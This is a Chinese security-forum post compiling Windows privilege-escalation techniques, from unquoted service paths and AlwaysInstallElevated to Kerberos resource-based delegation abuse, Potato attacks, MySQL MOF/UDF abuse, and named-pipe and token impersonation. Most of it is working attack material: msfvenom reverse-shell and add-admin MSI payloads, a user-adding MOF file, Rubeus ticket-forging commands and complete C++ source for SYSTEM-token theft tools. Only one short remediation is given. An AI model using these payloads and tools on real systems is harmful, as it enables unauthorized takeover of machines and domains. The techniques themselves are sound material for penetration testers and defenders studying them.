安全矩阵

 找回密码
 立即注册
搜索
查看: 2611|回复: 0

干货|Windows提权方法汇总

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-20 09:59:56 | 显示全部楼层 |阅读模式
本帖最后由 Delina 于 2021-8-20 10:06 编辑

原文链接:干货|Windows提权方法汇总

一. 无引号服务路径 ( Trusted Service Paths )
先说实用度,比较被动,而且比较看脸。
Windows下服务的权限通常是SYSTEM。如果我们能够替换服务的启动程序为我们的恶意程序(如反弹shell),即相当于获得了SYSTEM权限,达到了提权的目的。
无引号服务路径有可能会导致这种情况的发生。
所谓无引号服务路径,就是服务启动程序的路径中包含了空格且未被引号包含起来。比如这样
C:\Program Files\floder1\service.exe                        
因为空格的存在,Windows在启动服务找寻服务启动项时,它会按照以下顺序进行启动项寻找
  1. C:\Program.exe
  2. C:\Program Files\Some.exe
  3. C:\Program Files\Some Folder\Service.exe
复制代码

这就给了我们有机可乘的机会:如果我们在服务的上层目录有写入或完全控制权限,我们完全可以将一个可执行文件放在Windows搜寻服务启动项的更靠前顺序上。

我们用以下命令来搜索哪些服务路径没有包含引号
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """                        
找到一个。接下来我们的思路可能就是在2345Explorer目录下创建一个Protect.exe了,所以我们要看看2345Explorer目录我们的权限如何。
先来一手whoami /all.发现自己是Users组的。

然后使用icacls命令查看在2345Explorer目录的权限如何

users组是完全控制权(F),那么我们直接用msfvenom构造一个反弹shell的exe。命名为Protect.exe,放入2345Explorer目录。我这里随便编码了一下
msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai LHOST=192.168.111.129 LPORT=10068 -f exe -o Protect.exe                        

然后我们现在是没有能力重启服务的。。只能等管理员重启服务或者机子重启。然后就拿到SYSTEM权限了。但是这里还有一个坑点,这个坑点是如果一个服务启动后在一定时间内未与 Service Control Manager(SCM) 通讯,就会被停止。

所以我们要在拿到shell后及时的转移进程或者添加管理员账户。
转移进程在msf中很简单,meterpreter中先用ps查看进程,随便找一个system权限,记住其pid,然后 migrate PID 即可完成进程迁移。
下面来说说防治方法吧。进入注册表修改窗口,在 HKEY_LOCAL_MACHINE >> SYSTEM >> CurrentControlSet >> Services 路径下找到存在漏洞的服务,修改其ImagePath,把路径前后加个引号就可了。
二. 易受攻击的服务(Vulnerable Services )
同样看脸且被动
这个攻击方法大致分两类
1.替换服务的二进制文件。这个方法较为简单,如果对服务二进制文件所在目录有修改权,那么我们完全可以创建一个恶意程序来替换原有的二进制文件服务。这个比较简单,而且基本上攻击流程和Trusted Service Paths如出一辙,同样也是比较被动地等待重启服务才能弹shell,就不再演示了。
2.修改服务的属性。如果我们能修改服务的 BINARY_PATH_NAME 属性(这个属性用于指向服务的二进制文件),我们就可以通过设置 BINARY_PATH_NAME 的值为系统命令,然后重启服务时我们的系统命令会被执行。
对于后者,我们需要一款工具来快速揭示出我们能修改哪些服务的属性。
这个工具我们采用accesschk.exe,它是微软产出的,基本不会报毒。
我们通过该工具执行以下命令
  1. accesschk.exe -uwcqv "Authenticated Users" * /accepteula
  2. or
  3. accesschk.exe -uwcqv "Users" * /accepteula
  4. 来查看Users组(根据实际情况来填哪个组)对哪些服务有哪些权限
复制代码

如果对某个服务有service_all_access或者以下权限,就说明能对其属性进行修改。

比如我们对Spooler服务有service_all_access权限,我们就可以这样做。
通过修改其binPath为恶意指令,然后等待管理员重启服务,我们的恶意指令就会被执行。

三. AlwaysInstallElevated
如果windows启用了如下注册表项
  1. <pre style="box-sizing: border-box;overflow: auto;padding: 8px 0.5rem;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;line-height: 1.6;counter-reset: line 0;white-space: pre-wrap;border-width: initial;border-style: none;border-color: initial;width: 566.031px;font-family: consolas, Menlo, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, sans-serif !important;text-align: left;"><span style="font-size: 16px;"><span style="box-sizing: border-box;">[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]</span>
  2. <span style="box-sizing: border-box;">“AlwaysInstallElevated”=dword:00000001 </span>

  3. <span style="box-sizing: border-box;">[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]</span>
  4. <span style="box-sizing: border-box;">“AlwaysInstallElevated”=dword:00000001</span></span></pre>
复制代码

那么所有msi(windows应用安装程序)都会以SYSTEM权限运行。此时如果我们执行一个恶意msi程序,即可达到提权目的
同时需要注意的一点是,这个注册表项不一定总是存在的。(比如我的实验机
我们可以通过reg query来验证这两条注册表项的情况
  1. reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  2. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
复制代码

若均为1,我们就可以通过msfvenom生成恶意msi来提权
  1. msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
复制代码

然后执行,获得一个管理员账户。
四. 信息泄露
Unattend.xml sysprep.xml和sysprep.inf文件GPP.xml 存在着一定信息泄露,他们通常存在于以下路径
  1. C:\Windows\Panther\
  2. C:\Windows\Panther\Unattend\
  3. C:\Windows\System32\
  4. C:\Windows\System32\sysprep\
复制代码

找到后,找到 Unattend.xml 文件中的 标签。就有可能找到用户的加密后的密码。。
  1. <UserAccounts>
  2.     <LocalAccounts>
  3.         <LocalAccount>
  4.             <Password>
  5.                 <Value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</Value> //PASSWORD
  6.                 <PlainText>false</PlainText>
  7.             </Password>
  8.             <Description>Local Administrator</Description>
  9.             <DisplayName>Administrator</DisplayName>
  10.             <Group>Administrators</Group>
  11.             <Name>Administrator</Name>
  12.         </LocalAccount>
  13.     </LocalAccounts>
  14. </UserAccounts>
  15. 一些敏感文件查询指令
  16. C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr \*password\*
  17. reg query HKLM /f password /t REG_SZ /s
  18. reg query HKCU /f password /t REG_SZ /s
复制代码

五. 基于资源的域委派攻击
refer:https://xz.aliyun.com/t/7454
原理的几个点:
​​
1.S4U2SELF 协议可以在用户没有配置 TrustedToAuthenticationForDelegation 属性(即开启使用任何协议认证的约束性委派)时被调用,但是返回的ST是不可被转发的。
2.基于资源的约束性委派主机 在被另一台主机委派访问时,在S4U2PROXY过程中提交过来的ST如果即使是不可转发的。KDC依旧会返回有效的ST2。
3.每个普通域用户默认可以创建至多十个机器账户( 由MachineAccountQuota属性决定 ),每个机器账户被创建时都会自动注册SPN: RestrictedKrbHost/domain和HOST/domain这两个SPN
攻击流程:
假设开启基于资源的约束性委派机器为A
1.首先要有一个对当前计算机有写权限的账户,才能对A设置可以 被 委派访问的服务账户。
2.利用当前账户创建一个机器账户,并配置好机器账户到A的 基于资源的约束性委派
3.因为机器账户是我们创建的,我们知道他的密码账户,可以让它利用S4U2SELF协议获得一个不可转发ST。然后用这个不可转发ST通过S4U2PROXY,在基于资源的约束性委派基础上获得有效的访问A cifs服务的ST2。
4.用ST2访问A的CIFS服务,权限获得。
实操
这个攻击说白了就是个提权…
首先我们检查一下域控是否是win2012以上的主机,因为只有这样才能开启 基于资源的约束性委派。
我们使用powersploit下的powerview脚本。执行命令 get-netdomaincontroller

可以获得域控WIN版本
然后我们查看当前用户对哪台主机有写权限。因为是实验,所以我们先来看看怎么配置一个用户对一个机器的权限。
直接在域控上找到某主机,然后进入在属性里进入安全选项卡,添加某用户,然后给这个用户分配权限即可。

我们依旧使用powerview。先调用
Get-DomainUser -Identity username -Properties objectsid来获取当前用户SID
然后Get-DomainObjectAcl -Identity 主机名 | ?{$_.SecurityIdentifier -match "刚刚得到的SID"} 查看当前用户对某台主机是否有写权限。

如果有 GenericAll(完全控制权),GenericWrite、WriteProperty、WriteDacl 这些属性,就说明该用户能修改计算机的账户属性。
如图看到我们对WIN7进行操作
好的,我们接下来就要创立一个机器用户了。根据网上搜索结果,使用powermad这个ps脚本可以很快捷的创建一个机器用户。https://github.com/Kevin-Robertson/Powermad
Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount hacksystem -Password $(ConvertTo-SecureString "hack" -AsPlainText -Force)                        

好的,我们添加了一个密码hack,名为hacksystem的机器账户,接下来就是配置hacksystem到WIN7的委派了。我们需要做的,是修改WIN7的 msDS-AllowedToActOnBehalfOfOtherIdentity属性的值 ,这个操作我们用powerview实现。
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BADA;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3298638106-3321833000-1571791979-1112)"  #这儿的sid是我们创建的#机器用户#evilsystem的sid$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose                        

至于机器账户SID怎么获得,powerview下的 get-domiancomputer hacksystem
然后使用Get-DomainComputer WIN7 -Properties msds-allowedtoactonbehalfofotheridentity 查看委派是否设置成功
Set-DomainObject win7 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose 此命令可以清除 msds-allowedtoactonbehalfofotheridentity属性的值
现在都统统设置好了,开始下一步吧。
网上一般用的rubeus,这里我用kekeo吧
Rubeus.exe hash /user:xxx /password:xxx /domain:xxx                        
本地运算出机器用户ntlm hash 这里借用一下别人的图

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt 写入票据
然后我在本机使用以上方法后klist一下,发现确实存在票据

但是dir \test1\c$时本机莫名其妙不能进行kerberos验证,我服了》。。但不管怎样,我们拿到银票了
敏感用户不可委派的绕过

若我们的administrator用户被设置为敏感用户不可委派或者被加入保护组,按理说他的访问就不能进行委派。
我们在以administrator账户身份进行S4U时,只能进行S4U2SELF,不能进行S4U2PROXY。我们用 Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt继续实验administrator,发现确实是这样

此时我们用 rubeus.exe describe /ticker:S4Ubase64加密的票据

可以发现servicename并没有指定某个服务,仅仅只有一个账户.即发生了服务名称缺失的问题。很简单,把票据修改一下就行了.网上很多说用这个工具
https://www.pkisolutions.com/tools/asn1editor/
但实际上rubeus也能完成票据修改rubeus.exe tgssub /ticket:xxx /altservice:cifs/test1 /ptt


完事
六. POTATO 家族
​​
hot potato热土豆提权。很早前就听说过了,但一直没去了解过。前置知识是ntlm relay,可以去了解了解。potato家族有很多,hot potato只是其中一种提权方式。
我环境有问题,不能很好的复现????,抓包分析啥的先咕咕吧。
https://github.com/foxglovesec/Potato????工具
https://foxglovesecurity.com/2016/01/16/hot-potato/ ????HOT POTATO技术文档,国内基本上翻译这个来的。
提权步骤大概是这个流程
1.本地nbns服务欺骗
2.wpad劫持
3.HTTP->SMB 的 ntlm relay
1.本地nbns服务欺骗
Windows域名解析规则是
本地HOST文件-》dns查询-》NBNS或者LLMNR查询
一旦本地发出NBNS查询,我们本地就可以迅速响应,啪的一下就响应了,很快啊,本地发包很快,只要发出NBNS包基本上都能被我们本地发包响应。
但是以上步骤还是有一些细节的:我们当前并非管理员权限,大几率是无法嗅探本地流量的,如果我们能够事先知道目标主机期望NBNS查询获得的主机名,我们可以伪造一个响应,对发送NBNS查询的那个主机快速的大量发送NBNS响应 .但是nbns流量包还有个叫特征码的东西,请求包和响应包的特征码必须相同,所以我们被迫发送65536个包爆破这个特征码——本地发包速度很快,本地NBNS欺骗成功率基本上在100%。
2.WPAD劫持
NBNS欺骗后我们就可以劫持WPAD的域名,把自己伪造称WPAD并返回自定义的PAC文件。意味着我们可以把本地发出的所有流量重定向。
3.RELAY
在现在这个年代,SMB->SMB的relay很少用到了,微软 禁用了同协议的NTLM认证 ,成功率很低。
但是HTTP->SMB的relay还是有的。HOT POTATO就是利用的这一点。
我们可以把主机发出的HTTP请求重定向到我们自定义的网页A,而网页A需要NTLM认证,我们就可以进行HTTP->SMB的relay’了。当HTTP请求来自于高权限的账户时,例如是来自windows 更新服务的请求,命令就会以”NT AUTHORITY\SYSTEM”权限运行。
HOT POTATO 根据Windows版本的不同,需要等待高权限用户NTLM认证来到的时间也不同。一般来说,
WIN7是瞬间就可以提权的
Windows Server 2012 R2,Windows Server 2012,Windows 8.1,Windows 8有一个自动更新机制,会每天下载证书信任列表(CTLs)
,etc
七. MYSQL下的提权技术
MOF提权在c:/windows/system32/wbem/mof/目录下的nullevt.mof每分钟都会有一个特定的时间去执行一次(由”And TargetInstance.Second = 5″;控制,这里输入5就是每分钟的第五秒执行。那么把cmd命令添加到nullevt.mof中,cmd命令就会自动执行了。
前提是我们要能进入数据库进行操作,且mysql数据库的权限尽可能高才更有利。同时secure-file-priv 要为空( mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,禁止所有文件导入导出功能)
我们伪造的MOF文件格式如下
  1. #pragma namespace("\\\\.\\root\\subscription")

  2. instance of __EventFilter as $EventFilter
  3. {
  4.     EventNamespace = "Root\\Cimv2";
  5.     Name  = "filtP2";
  6.     Query = "Select * From __InstanceModificationEvent "
  7.             "Where TargetInstance Isa "Win32_LocalTime" "
  8.             "And TargetInstance.Second = 5";
  9.     QueryLanguage = "WQL";
  10. };

  11. instance of ActiveScriptEventConsumer as $Consumer
  12. {
  13.     Name = "consPCSV2";
  14.     ScriptingEngine = "JScript";
  15.     ScriptText =
  16.     "var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net.exe user admin admin /add")";   //修改此处即可
  17. };

  18. instance of __FilterToConsumerBinding
  19. {
  20.     Consumer   = $Consumer;
  21.     Filter = $EventFilter;
  22. };
复制代码

修改上面的cmd部分即可实现以管理员身份执行各种命令。
然后我们使用mysql下的命令 ,将mof覆盖过去。
待我们的命令被执行后,即代表提权成功。
Windows 2003似乎成功率蛮高的,WIN7试了试没反应。。。
UDF提权(这个也可以linux提权
udf,即自定义函数(user define function)
MYSQL可以自定义函数的。自定义函数在Windows下是以DLL文件存在于MYSQL的插件文件夹里面的(linux则是以os的形式)。我们可以自定义一个恶意dll,里面存放着可以执行系统命令的 函数。然后交给mysql以数据库权限执行。
前提:我们能操作数据库,且数据库权限必须很高(我们用这个方法提权到的权限就是数据库的权限
那么这个dll文件哪里来呢。sqlmap和msf都有。sqlmap下的 sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 就是这个dll文件的编码版本。我们使用sqlmap下的sqlmap/extra/cloak/cloak.py对其进行解码获得dll文件。
python ./cloak.py -d -i ./lib_mysqludf_sys.dll_  即可获得dll文件                        
然后我们把dll文件放入mysql的插件文件夹,命名为udf.dll。插件文件夹可以通过命令
show variables like "%plugin%";获得  (/lib/plugin文件夹需要自己创建)                        
至于怎么把dll放入插件文件夹
1.直接粘贴复制 (权限可能不够
2.使用命令 select load_file(‘udf.dll’) into dumpfile “PLUGIN的路径”;(需要secure_file_priv为空
总之,如果把udf.dll放入plugin文件夹后,我们就可以执行以下操作提权了。
create funtion sys_eval returns string soname "udf.dll";select sys_eval('cmd');                        

启动项提权说白了,就是通过mysql的高权限,向windows开机启动项文件夹里放入恶意vbs或者bat脚本,机器重启后自动执行。怎么让机器重启?等管理员或者 一些可导致服务器蓝屏的EXP
启动项路径一般为:
C:\Documents and Settings\All Users\「开始」菜单\程序\启动
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
select load_file("xxx") into dumpfile "xxxx";                        

没什么好说的
八. 命名管道提权
提权方式为 令牌模仿。Token Impersonation .
meterpreter的getsystem的提取方法之一就是这个方法
提权过程为从administrator用户提到SYSTEM权限。从普通用户提权到admin及以上权限是不可取的,因为普通用户创建的命名管道没有 SeImpersonatePrivilege,在复制令牌时会出现1346错误。
该方法技术细节为:以管理员权限创建一个命名管道,再通过创建SYSTEM权限服务,让服务连上命名管道,随后我们通过模拟客户端,获得SYSTEM权限的令牌,随后将其复制,再用复制后的令牌创建新进程(如CMD),新进程的权限即SYSTEM权限。
这里贴上实现代码.
首先是被创建的服务的实现代码,该服务启动后会不断向服务器命名管道建立链接
生成好后,是Service.exe
  1. #include<Windows.h>
  2. #include<iostream>
  3. SERVICE_STATUS m_ServiceStatus;
  4. SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
  5. BOOL bRunning;
  6. void WINAPI ServiceMain(DWORD argc, LPTSTR* argv);
  7. void WINAPI HandlerFunc(DWORD code);
  8. int main() {
  9.         WCHAR Servicename[] = L"ServiceA";
  10.         SERVICE_TABLE_ENTRY Table[] = { {Servicename,ServiceMain},{NULL,NULL} };
  11.         StartServiceCtrlDispatcher(Table);
  12. }

  13. void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) {


  14.         m_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  15.         m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  16.         m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
  17.         m_ServiceStatus.dwWin32ExitCode = 0;
  18.         m_ServiceStatus.dwServiceSpecificExitCode = 0;
  19.         m_ServiceStatus.dwCheckPoint = 0;
  20.         m_ServiceStatus.dwWaitHint = 0;

  21.         m_ServiceStatusHandle = RegisterServiceCtrlHandler(L"ServiceA", HandlerFunc);
  22.         m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  23.         m_ServiceStatus.dwCheckPoint = 0;
  24.         m_ServiceStatus.dwWaitHint = 0;
  25.         SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
  26.         bRunning = true;
  27.         while (bRunning) {
  28.         LPCWSTR PipeName = L"\\\\.\\pipe\\testpipe";
  29.         HANDLE PipeHandle=NULL;
  30.         BOOL PipeInstance;
  31.         WCHAR message[512] = { 0 };
  32.         DWORD bytesWritten = 0;
  33.         BOOL Flag = true;
  34.         wchar_t message2[] = L"HELL";
  35.         DWORD messageLength = lstrlen(message2) * 2;
  36.         do {
  37.                 PipeHandle = CreateFile(PipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
  38.         } while (PipeHandle == INVALID_HANDLE_VALUE);

  39.         WriteFile(PipeHandle, &message2, messageLength, &bytesWritten, NULL);

  40.         Flag = ReadFile(PipeHandle, &message, 512, &bytesWritten, NULL);
  41.         std::cout << "Message:" << message << std::endl;
  42.         }
  43. }

  44. void WINAPI HandlerFunc(DWORD code) {
  45.         switch (code) {
  46.         case SERVICE_CONTROL_PAUSE:
  47.                 m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
  48.                 break;
  49.         case SERVICE_CONTROL_CONTINUE:
  50.                 m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  51.                 break;
  52.         case SERVICE_CONTROL_STOP:
  53.                 m_ServiceStatus.dwWin32ExitCode = 0;
  54.                 m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
  55.                 m_ServiceStatus.dwCheckPoint = 0;
  56.                 m_ServiceStatus.dwWaitHint = 0;

  57.                 SetServiceStatus(m_ServiceStatusHandle, &m_ServiceStatus);
  58.                 bRunning = false;
  59.                 break;
  60.         case SERVICE_CONTROL_INTERROGATE:
  61.                 break;
  62.         }
  63. }
复制代码

然后是主体,命名管道服务器。生成后是Server.exe
  1. #include<Windows.h>
  2. #include<iostream>

  3. int main() {
  4.         LPCWSTR pipeName = L"\\\\.\\pipe\\testpipe";
  5.         LPVOID pipeBuffer = NULL;
  6.         HANDLE serverPipe;
  7.         DWORD readBytes = 0;
  8.         DWORD readBuffer = 0;
  9.         int err = 0;
  10.         BOOL isPipeConnected;
  11.         BOOL isPipeOpen;
  12.         wchar_t message[] = L"HELL";
  13.         DWORD messageLenght = lstrlen(message) * 2;
  14.         DWORD bytesWritten = 0;
  15.         WCHAR message2[512] = { 0 };
  16. //Open a Named Pipe,Wait for a connection
  17.         std::wcout << "Creating named pipe " << pipeName << std::endl;
  18.         serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);

  19. //Create a service of system to connect to our NamedPipe.

  20.         char servicename[] = "Service.exe";
  21.         char servicepath[_MAX_PATH];
  22.         SERVICE_STATUS status;
  23.         GetModuleFileNameA(LoadLibraryA(servicename), servicepath, sizeof(servicepath));
  24.         SC_HANDLE scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
  25.         if (GetLastError() == 0) {

  26.         }
  27.         else {
  28.                 std::cout << "ERROR OpenSCManager:" << GetLastError() << std::endl;
  29.         }
  30.         SC_HANDLE scService = CreateServiceA(scManager, servicename, servicename,
  31.                 SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL,
  32.                 servicepath, NULL, NULL, NULL, NULL, NULL);
  33.         if (!scService) {
  34.                 if (GetLastError() == 1073) {
  35.                         std::cout << "The Service has been exsisted" << std::endl;
  36.                 }
  37.                 else {
  38.                         std::cout << "ERROR CreateServiceA:" << GetLastError() << std::endl;
  39.                 }
  40.         }
  41.         SC_HANDLE scServiceA = OpenServiceA(scManager, servicename, SERVICE_ALL_ACCESS);
  42.         if (StartService(scServiceA, 0, NULL)) {
  43.                 std::cout<<"service Start success"<<std::endl;
  44.         }
  45.         else {
  46.                 if (GetLastError() == 1056) {
  47.                         std::cout << "service is running,don't need to start again" << std::endl;
  48.                 }
  49.         }
  50. //Connect !
  51.         isPipeConnected = ConnectNamedPipe(serverPipe, NULL);

  52.         if (isPipeConnected) {
  53.                 std::wcout << "Incoming connection to " << pipeName << std::endl;
  54.                 ReadFile(serverPipe, &message2, 512, &bytesWritten, NULL);
  55.                 std::cout << message2;
  56.         }
  57.         else {
  58.                 std::cout << "Does not connected Error: "<<GetLastError() << std::endl;
  59.         }

  60.         std::wcout << "Sending message: " << message << std::endl;
  61.         WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
  62. //Toekn Impersonation
  63.         std::wcout << "Impersonating the client..." << std::endl;
  64.         if (!ImpersonateNamedPipeClient(serverPipe)) {
  65.                 std::cout<<"ImpersonateNamedPipeClient ERROR: "<<GetLastError()<<std::endl;
  66.         }
  67.         else {
  68.         std::cout << "ImpersonateNamedPipeClient success" << std::endl;
  69.         }

  70.         STARTUPINFOA si;
  71.         PROCESS_INFORMATION pi = {};
  72.         ZeroMemory(&pi, sizeof(pi));
  73.         ZeroMemory(&si, sizeof(si));
  74.         si.cb = sizeof(si);
  75.         HANDLE token;
  76.         if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &token)) {
  77.                 std::cout << "GetCurrentThread ERROR:" << GetLastError() << std::endl;
  78.         }

  79.         CHAR command1[] = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  80.         WCHAR command2[] = L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
  81.         HANDLE Token;
  82.         if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenImpersonation,&Token)) {
  83.                 std::cout << "DuplicateTokenEx ERROR:" << GetLastError() << std::endl;
  84.         }
  85.         else {
  86.                 std::cout << "Impersonate completed" << std::endl;
  87.         }
  88.         if (!CreateProcessAsUserA(token, NULL, command1, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
  89.                 std::cout << "CreateProcessAsUserA ERROR:" << GetLastError() <<" Now Use CreateProcessWithTokenW"<< std::endl;
  90.                 if (!CreateProcessWithTokenW(token, LOGON_NETCREDENTIALS_ONLY, NULL, command2, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) {
  91.                         std::cout << "CreateProcessWithTokenW ERROR:" << GetLastError() << std::endl;
  92.                 }
  93.                 else {
  94.                         std::cout << "CreateProcessWithTokenW success" << std::endl;
  95.                 }
  96.         }
  97.         else {
  98.                 std::cout << "CreateProcessWithTokenW success" << std::endl;
  99.         }

  100.         while(1){}
  101. }
复制代码

我们生成了Service.exe,然后把他移到Server.exe同级目录,以管理员权限运行Server.exe,即可达到admin-》system的提权。

程序写了四天终于写好了。。WIN7下可以实现完美提权。
项目地址:https://github.com/ConsT27/EvilNamedPipe/tree/1.0
九. 令牌窃取
SYSTEM->本机上其他用户(包括域用户)(好家伙,只要本机有system权限,域管敢在本机上创建进程就直接能拿到域管权限) 或者admin获取debug权限后去获取SYSTEM权限(这里有一个细节点,只有owner为administrator的SYSTEM进程才能被利用,比如lsass,dllhost)
技术细节:通过寻找高权限开启的进程,再复制其令牌用以创建新进程,即可达到提权目的
  1. #include <iostream>
  2. #include <Windows.h>


  3. //Only administrator can get debug priv
  4. BOOL GetDebugPriv() {
  5.         HANDLE Token;
  6.         TOKEN_PRIVILEGES tp;
  7.         LUID Luid;
  8.         if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token)) {
  9.                 std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
  10.                 return false;
  11.         }

  12.         tp.PrivilegeCount = 1;
  13.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  14.         if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid)) {
  15.                 std::cout << "LookupPrivilegeValue ERROR" << GetLastError() << std::endl;
  16.                 return false;
  17.         }
  18.         tp.Privileges[0].Luid = Luid;
  19.         if (!AdjustTokenPrivileges(Token, FALSE, &tp, sizeof(tp), NULL, NULL) ){
  20.                 std::cout << "AdjustTokenPrivileges ERROR" << GetLastError() << std::endl;
  21.                 return false;
  22.         }
  23.         if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
  24.                 return false;
  25.         }
  26.         else {
  27.                 return true;
  28.         }
  29. }



  30. int main(int argc, char* argv[]) {
  31.         HANDLE t_process;
  32.         HANDLE token = NULL;
  33.         HANDLE token_bak = NULL;
  34.         DWORD process_id;
  35.         sscanf_s(argv[1], "%ul", &process_id);
  36.         WCHAR command[] = L"C:\\Windows\\System32\\cmd.exe";
  37.         STARTUPINFO startupInfo;
  38.         PROCESS_INFORMATION processInformation;
  39.         ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
  40.         ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
  41.         startupInfo.cb = sizeof(STARTUPINFO);
  42.         std::cout << argv[1] << std::endl;
  43.         std::cout << "Openning process PID:" << process_id << std::endl;
  44.         if (GetDebugPriv()== TRUE) {
  45.                 std::cout << "Got the debug priv" << std::endl;
  46.         }
  47.         else {
  48.                 std::cout << "GetDebugPriv ERROR" << std::endl;
  49.         }
  50.         system("whoami /priv");
  51.         t_process = OpenProcess(PROCESS_ALL_ACCESS, true, process_id);
  52.         if (!t_process) {
  53.                 std::cout << "OpenProcess ERROR" << GetLastError() << std::endl;
  54.         }
  55.         if (!OpenProcessToken(t_process, TOKEN_ALL_ACCESS, &token)) {
  56.                 std::cout << "OpenProcessToken ERROR" << GetLastError() << std::endl;
  57.         }

  58.         if (!DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &token_bak)) {
  59.                 std::cout << "DuplicateTokenEx ERROR" << GetLastError() << std::endl;
  60.         }
  61.         if (!CreateProcessWithTokenW(token_bak, LOGON_WITH_PROFILE, NULL, command, 0, NULL, NULL, &startupInfo, &processInformation)) {
  62.                 std::cout << "CreateProcessWithTokenW ERROR" << GetLastError() << std::endl;
  63.         }
  64.         return 0;
  65. }
复制代码


这是在win7下的测试结果 const\administrator 是域控


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:43 , Processed in 0.015091 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表